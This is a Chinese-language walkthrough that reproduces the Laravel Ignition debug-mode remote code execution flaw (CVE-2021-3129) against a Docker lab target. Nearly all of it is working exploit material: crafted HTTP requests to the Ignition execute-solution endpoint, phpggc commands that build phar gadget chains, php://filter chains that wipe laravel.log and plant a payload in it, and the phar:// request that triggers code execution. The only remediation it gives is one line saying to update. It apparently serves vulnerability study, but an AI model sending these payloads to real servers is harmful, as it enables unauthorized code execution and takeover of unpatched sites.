软件简介
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
影响范围:
Laravel<=v8.4.2调试模式
环境搭建:
本次实验用的是vulfocus上的靶场
vulfocus/laravel-CVE-2021-3129
搭建方案一(这种方案比较稳定实验途中不会掉线)
docker pull vulfocus/laravel-CVE-2021-3129:latest
docker run -d -p 7001:7001 vulfocus/laravel-CVE-2021-3129
搭建方案二(这种方法适合长期研究漏洞的小伙伴,但是环境时不时的掉线,这次实验掉了很多次):
就是在本地搭建vulfocus然后更新漏洞环境,然后拉取下来
(搭建靶场的步骤请参考:https://zhuanlan.zhihu.com/p/398516109)
漏洞复现:
1.检测漏洞:
利用brup_suit发送数据包
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.111.130:29055
Content-Type: application/json
Content-Length: 168
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
如果出现了下面的那种情况说明存在漏洞:
2.漏洞利用
利用方式1:(Phar反序列化):
从phpggc中去一条利用链:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o 1.gif
或者使用下面的这一条
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o 2.gif
假设后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以将这个phar文件上传上去,这里我们手动将其放入laravel的目录下,然后构造如下请求,利用上述的 file_get_contents() 去触发phar反序列化(抄别人的)
这次实验我们使用docker cp 命令将生成的gif图片放入网站的目录下面,
sudo docker cp /home/kali/桌面/phpggc-master/1.gif 3143b99e86b7:/var/www/html
接下来我们使用brup_suit进行发包处理(前提是要知道上传图片得绝对路径)
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.5.133: 19590
Content-Type: application/json
Content-Length: 194
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/phar.gif/test.txt"
}
}
出现结果:
利用方式2(利用laravel.log实现phar反序列化):
该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用 file_get_contents()
去触发phar反序列化。
利用bp发送下面的数据包将原为的原日志文件laravel.log清空:
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.5.130: 24336
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
然后用phpggc生成phar序列化利用POC
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
将poc后面一个字母a
发送如下数据包,给Log增加一次前缀,用于对齐
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.5.130:24336
Content-Type: application/json
Content-Length: 169
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
将生成的poc作为viewFile的值放包
发送如下数据包,清空对log文件中的干扰字符,只留下POC(这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。)
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.5.130:24336
Content-Type: application/json
Content-Length: 299
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
使用phar://
进行反序列化,执行任意代码
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.111.130:24336
Content-Type: application/json
Content-Length: 214
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}
漏洞修复
更新到最新版本
参考:
https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/